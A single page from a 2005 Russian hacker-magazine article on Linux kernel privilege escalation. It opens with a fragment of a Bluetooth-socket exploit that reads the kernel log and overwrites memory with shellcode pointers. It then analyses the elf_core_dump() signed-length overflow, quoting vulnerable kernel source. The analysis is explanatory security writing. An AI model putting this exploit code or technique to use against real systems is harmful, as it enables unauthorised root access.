Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #79, ИЮЛЬ 2005 г.

Захват нулевого кольца

Крис Касперски ака мыщъх

Хакер, номер #079, стр. 079-104-2


if ((tmp = klogctl(0x3, buf, 1700)) > -1)

{

check = strstr(buf, "ecx: ");

printf("|- [%0.14s]\n", check);

if (*(check+5) == 0x30 && *(check+6) == 0x38)

{

check += 5;

printf("|- suitable value found! using 0x%0.9s\n", check);

*(check+9) = 0x00; *(--check) = 'x'; *(--check) = '0';

mod = (unsigned int *)strtoul(check, 0, 0);

for (sock = 0; sock <= 200; sock++)

*(mod++) = (int)ong_code;

if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)

{

printf("|- invalid value\n");

exit(1);

}

}

}

[Эльфы падают в дамп]

Самой свежей дырой, которая была найдена на момент написания этих строк, оказалась уязвимость в ELF-загрузчике, обнаруженная 11 мая 2005 года и поражающая целую серию ядер: 2.2.27-rc2, 2.4, 2.4.31-pr1, 2.6, 2.6.12-rc4 и т.д. Ошибка сидит в функции elf_core_dump(), расположенной в файле binfmt_elf.c. Ключевой фрагмент уязвимого листинга выглядит так:

Ключевой фрагмент функции elf_core_dump(), подверженной переполнению

static int elf_core_dump(long signr, struct pt_regs *regs, struct file *file)

{

struct elf_prpsinfo psinfo;

memset(&psinfo, 0, sizeof(psinfo));

{

int i, len; /* 1 */

len = current->mm->arg_end - current->mm->arg_start;

if (len >= ELF_PRARGSZ) /* 2 */

len = ELF_PRARGSZ - 1;

copy_from_user(&psinfo.pr_psargs,

(const char *)current->mm->arg_start, len);

}

}

Типичное переполнение буфера! Программист объявляет знаковую переменную len (см. /* 1 */) и спустя некоторое время передает ее функции copy_form_user(), копирующей данные из пользовательской памяти в область ядра. Проверка на отрицательное значение не выполняется (см. /* 2 */). Что это значит для нас в практическом плане? А вот что! Если current->mm->arg_start будет больше, чем current->mm->arg_end, в ядро скопируется очень большой регион пользовательского пространства.

А как этого можно добиться? Анализ показывает, что переменные current->mm->arg_start и current->mm->arg_end инициализируются в функции create_elf_tables(), причем если функция strnlen_user() возвратит ошибку, то будет инициализирована лишь переменная current->mm->arg_start, а current->mm->arg_end сохранит свое значение, унаследованное от предыдущего файла.

Ключевой фрагмент функции create_elf_tables()

static elf_addr_t *

create_elf_tables(char *p, int argc, int envc,

struct elfhdr *exec,

unsigned long load_addr,

unsigned long load_bias,

unsigned long interp_load_addr, int ibcs)

{

current->mm->arg_start = (unsigned long)p;

while (argc-- > 0)

{

__put_user((elf_caddr_t)(unsigned long)p, argv++);

len = strnlen_user(p, PAGE_SIZE * MAX_ARG_PAGES);

if (!len || len > PAGE_SIZE * MAX_ARG_PAGES)

return NULL; /* warn */

p += len;

}

__put_user(NULL, argv);

current->mm->arg_end = current->mm->env_start = (unsigned long)p;

Назад на стр. 079-104-1  Содержание  Вперед на стр. 079-104-3